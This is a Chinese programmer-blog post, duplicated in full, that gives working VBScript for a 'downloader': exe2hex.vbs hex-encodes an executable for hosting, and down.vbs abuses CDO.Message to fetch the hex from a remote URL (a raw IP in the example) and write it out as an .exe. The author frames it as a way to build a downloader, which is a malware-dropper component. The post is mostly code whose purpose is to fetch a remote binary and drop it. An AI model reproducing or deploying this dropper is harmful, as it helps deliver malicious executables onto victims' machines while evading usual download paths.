VBS下载文件的新方法
程序员文章站
2022-08-27 18:20:47
blog备份脚本时发现 cdo.message可以访问网络下载东西,说是研究研究或许可以用来当下载者用。 于是研究了一会。写出个粗糙的demo。 exe2hex.vbs /...
blog备份脚本时发现 cdo.message可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
于是研究了一会。写出个粗糙的demo。
exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
================================================
'code by xiaolu
'change by netpatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
set ado = createobject("adodb.stream")
with ado
.type = 1
.open
.loadfromfile fname
ss = .read
end with
if err.number<>0 then
if msgbox("文件打开错误!",1,"file2vbs")=2 then wscript.quit
else
exit do
end if
loop
if fname="" then wscript.quit
set fso=createobject("scripting.filesystemobject")
set file=fso.opentextfile(arg(0)&".htm",2, true)
file.write bin2str(ss)
file.close
set fso=nothing
ado.close
set abo=nothing
function bin2str(re)
for i = 1 to lenb(re)
bt = ascb(midb(re, i, 1))
if bt < 16 then bin2str=bin2str&"0"
bin2str=bin2str & hex(bt)
next
end function
======================================
下载者 down.vbs
=============
[code]
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by netpatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
set mail1 = createobject("cdo.message")
mail1.createmhtmlbody arg(0),31
ss= mail1.htmlbody
set mail1 = nothing
set rs=createobject("adodb.recordset")
l=len(ss)/2
rs.fields.append "m",205,l
rs.open:rs.addnew
rs("m")=ss&chrb(0)
rs.update
ss=rs("m").getchunk(l)
set s=createobject("adodb.stream")
with s
.mode = 3
.type = 1
.open()
.write ss
.savetofile arg(1),2
end with
==================================
demo.htm内容时用exe2hex.vbs转exe后获得的
使用方法:
1.exe2hex.vbs 把exe转成十六进制,放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe
于是研究了一会。写出个粗糙的demo。
exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
================================================
复制代码 代码如下:
'code by xiaolu
'change by netpatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
set ado = createobject("adodb.stream")
with ado
.type = 1
.open
.loadfromfile fname
ss = .read
end with
if err.number<>0 then
if msgbox("文件打开错误!",1,"file2vbs")=2 then wscript.quit
else
exit do
end if
loop
if fname="" then wscript.quit
set fso=createobject("scripting.filesystemobject")
set file=fso.opentextfile(arg(0)&".htm",2, true)
file.write bin2str(ss)
file.close
set fso=nothing
ado.close
set abo=nothing
function bin2str(re)
for i = 1 to lenb(re)
bt = ascb(midb(re, i, 1))
if bt < 16 then bin2str=bin2str&"0"
bin2str=bin2str & hex(bt)
next
end function
======================================
下载者 down.vbs
=============
[code]
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by netpatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
set mail1 = createobject("cdo.message")
mail1.createmhtmlbody arg(0),31
ss= mail1.htmlbody
set mail1 = nothing
set rs=createobject("adodb.recordset")
l=len(ss)/2
rs.fields.append "m",205,l
rs.open:rs.addnew
rs("m")=ss&chrb(0)
rs.update
ss=rs("m").getchunk(l)
set s=createobject("adodb.stream")
with s
.mode = 3
.type = 1
.open()
.write ss
.savetofile arg(1),2
end with
==================================
demo.htm内容时用exe2hex.vbs转exe后获得的
使用方法:
1.exe2hex.vbs 把exe转成十六进制,放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe
上一篇: VBS教程:VBscript语句-Function 语句
下一篇: 文本文件分割脚本(VBS)